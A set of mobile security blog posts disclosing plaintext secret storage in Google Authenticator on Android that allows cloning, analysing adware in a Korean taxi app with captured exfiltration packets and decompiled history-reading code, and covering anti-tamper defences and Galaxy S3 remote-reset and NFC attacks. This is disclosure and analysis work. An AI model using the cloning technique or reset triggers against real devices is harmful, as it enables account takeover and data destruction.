[Google Authenticator] Account and Key plaintexts stored in a file

[Google Authenticator] Account and Key plaintexts are stored in a file (May 22, 2012)

I found out a security issue at the Google authenticator in May, 2012. I sent a paper about the details of issue to Google security team, but, I didn’t get a response from them. The authenticator was applied upgrade last year, however, I have no idea whether or not the issue was changed. Anyway I post it before dumping it a behind of memory.

Google provides the 2-step verification to make their service more secure. A user can install and use the Google’s OTP(One Time Passwords) app on their Smartphone. But, I have analyzed a authenticator on Android, I figure out a security issue that can be used to make a clone authenticator on another Smartphone.

When a user try to register their Smartphone to use the authenticator, a user have to input their account and, key or scan QR code. And then, the authenticator it starting to create one time password. Now a user can authenticate with Google services through a one time credential.

1

< Add account >

The authenticator provides two selections to be initialized, ‘Scan bar-code’ and ‘Manually add account’. But if you choose anything, account and key are stored in a file. But the problem is that the user account and key are stored in a file as a plaintext

Stored file is sqlite and the file path is

“/data/data/com.google.android.apps.authenticatior2/database/database”

As you can see the below, the email  field is a user account and the secret field is a key for the authenticator. The secret are looks encrypted, but it’s not a matter to make a clone authenticator.

2

< An example of stored key and secret >

If the file is copied or secrets and keys are duplicated into the another Smartphone’ authenticator, now we have a clone authenticator. The duplicated authenticators are creating a same one time password at the same time, and it can be used to authenticate the Google’s services.

I checked that the authenticator is verifying the device with phone number, Serial or IMEI, but device verification were not applied and it’s not affected the authenticator.

 3

< The clone OTP >

The suggestions for this issue

  1. Encrypt account and key files
  2. Verify a device when the app executed to check it is a valid device or not or include a device serial into the one time password creation process
  3. Using more secure space like SIM, Turst Zone to prevent from the malicious access(In Korea, OTP apps for banks and financial sector are stored and executed in the SIM card)
Advertisements

User Activities Leakage with Free App

The android free app is transferring the device conditions and user activities without the user agreement. An adware included the free app is collecting the internet access data and launched app history on the installed device.

Free app: National Call Taxi – 전국 콜텍시(Korean)
Google Play: https://play.google.com/store/apps/details?id=kr.baccharis.callTaxi

The name of launched app and accessed URL list were sent to the outside server when user execute an app or connect to web with a mobile browser during the ‘National Call Taxi’ app launched or  in background. The malicious code is NOT a part of main source of the app, but it was included the adware module of app for profit.

The malicious data includes internet access URL, access time, applied rooting, WiFi status and device serial number (Not a real UUID, randomly generated).

[Sending Packet(URL Access)]

POST /servlet/Navvy.mawrite3 HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 208User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.2; SHV-E210S Build/JZO54K)Host: ma01.mediachannel.co.kr

Connection: Keep-Alive

Accept-Encoding: gzip

ver=2.0.1&collectapp=kr.baccharis.callTaxi&serial=54df1ff7-f783-43d7-911d-1cfd74c1fb2f&ltype=web&ldt=20130418162111&nsf=23554400003&wifi=wifi&rooting=0&data=0
http://www.google.co.kr/029.50820130418162111

[Sending Packet(App Execution)]

POST /servlet/Navvy.mawrite3 HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 233User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.2; SHV-E210S Build/JZO54K)Host: ma01.mediachannel.co.kr

Connection: Keep-Alive

Accept-Encoding: gzip

ver=2.0.1&collectapp=kr.baccharis.callTaxi&serial=54df1ff7-f783-43d7-911d-1cfd74c1fb2f&ltype=app&ldt=20130418162138&nsf=811915200069&wifi=wifi&rooting=0&data=
0201304181620222013041816213876.0com.android.browserandroid

[Sending Information]

–  Malicious App Version and Name
–  Serial Number(Generated random UUID)
–  Type : app(app execution) or web(web access)
–  Wifi and Rooting status
–  Executed App Name or Access URL

I have decompiled the malicious app and reviews the code of malicious functions.

[UUID Generation]


private String w(){

String str = "";

try

{

str = <b>UUID.randomUUID().toString();</b>

new StringBuilder("CreateSerial : ").append(str).toString();

b(str);

label33: return str;

}

catch (Exception localException)

{

break label33;

}

}

[Browser History Access]

unregisterReceiver(this.s);stopSelf();Intent localIntent = new Intent(this, revRankey.class);

localIntent.putExtra("appwebCollect", 4500);

localIntent.setAction("Action.Restart.MediaChannelService");

PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 0, localIntent, 0);

g.g.set(2, 10000L, localPendingIntent);

if (localObject4 == null)

continue;

((Cursor)localObject4).close();

return;

<b>Cursor localCursor1 = g.e.query(Browser.BOOKMARKS_URI, Browser.HISTORY_PROJECTION, "date > " + g.i, null, "date");</b>

localObject4 = localCursor1;

break;

((Cursor)localObject4).moveToLast();

((Cursor)localObject4).getCount();

localObject5 = "";

if (!((Cursor)localObject4).isBeforeFirst())

continue;

if (localObject1 == null)

continue;

boolean bool1 = localObject1.contentEquals("0");

if (!bool1)

break label509;

if (localObject4 == null)

Some adware are collecting the user behavior and internet access history data. And the advertising companies extract the worth from the data for their marketing. I guess that the web accessing and app launching data of the malicious app would be used for the similar purpose. But, WiFi status and Rooting conditions are able to use breaking into the device. I already posted the issue with Facebook, warning the another app include the adware could be exposed same security issue
.

Protect from the Illegal Modified Apps

Android and iOS with Jail Break are able to install apps without going through the formal App Store and Market. Recently, even some ways to install apps without Jail Break were released on iOS. The abnormal app distribution raise some security issues, the threat of malicious modified app and break up of DRM. These issues came from the app manipulation using reverse engineering. If you are searching it using keywords like “android decompiler”, “iOS app modify” or “apktool”, you will find out the many ways to bypass authentication, change the game money and other incredible things.

The attacker is able to distribute the modified apps to steal user’s credentials like a password and token, or manipulate service’s features and processes. For example, on the banking app, the attacker can change the code of login process that the password will send to both of the attacker’s server and the authentication server, or when a user transfer the money to others, receiving account number would be changed into the attacker’s account. The attacker should distribute the app through Black Market, SMS or E-mail.

To protect from the modified app, there are some ways like applying anti-reverse techniques or access control to check the apps’ integrity. Anti-reverse techniques make an app to resist from the analysis and manipulation, such as code obfuscation and dynamic code downloading.

  • Source code obfuscation
  • Binary obfuscation
  • Native library(C, C++ instead of Java)
  • Core module update(Frequently change the core routine )
  • Secure hardware(Trust Zone, TSM)

But, applying anti-reverse technique alone is not sufficient to prevent the service access using malicious manipulated apps. Therefore, the app’s integrity checking can be considered also. The app’s integrity checking process can be adopted to figure out whether access app was modified or not. For this, generated hash(sha-256) of app or app’s files was stored into the server, and then it will be compared with the access app’s hash to check integrity on every connection or before the sensitive feature.

App integrity check process
App integrity check process

The service provider can keep a log of abnormal connection and notify the security warning message to user.

However, even the service provider already adopted these protections, hacker may bypass the checking process and anti-reverse technique. In my research and experience, many kinds of protections were bypassed or manipulated using debugger, memory modification or other technique. For example, if the checking process was implemented to use same integrity data on every time, hacker should save the integrity data and replay it on the network or in the app. The server would accept it as a normal access. To prevent these flaws, the core process needs to protect from the access and manipulations.

So, we can consider the secure hardware like Trust Zone, TPM and UICC instead of software modules. Integrity checking module in the hardware can control the access from the outside of chip and nobody may not access without through the preshared protocol. Moreover, it can be shared and used with other apps by standardized APIs. It would be adopted not only for the integrity checking but also for DRM module to deal with the license issue.

Next, I will post about secure hardware and how can it consist with the app integrity detection.

Galaxy S3 Vulnerable to Remote Reset

Ravi Borgaonkar has demonstrated Galaxy S3 remote factory reset at the Ekoparty security conference in Argentina. He sent a reset message via NFC, web page or QR, and the target Galaxy launched factory reset without an user’s confirm.

The demonstration was using factory reset code that user can reset their own phone through dialing particular number. The code is “*2767*38XX#”(I remove some code). The reset could succeed using this code with “tel:” via any remote triggers.

It’s not a complicated vulnerability, but easily use to attack denial of user’s SmartPhone. May be other manufacturers has similar code to reset, they need to check their reset process.

[Add another test clip]

Samsung Galaxy S3 NFC hacked at Mobile Pwn2Own competition

The Samsung Galaxy S3 was hacked via NFC at Mobile Pwn2Own competition. From the news, security company MWR Labs founds a vulnerability in the document viewer on Galaxy S3, and they exploited it. It seems that NFC is only a remote trigger for sending the shell code, actual vulnerability is in the document viewer app. NFC and related services’s security gonna be a hot issue.

Link : Galaxy S3 hacked via NFC at Mobile Pwn2Own competition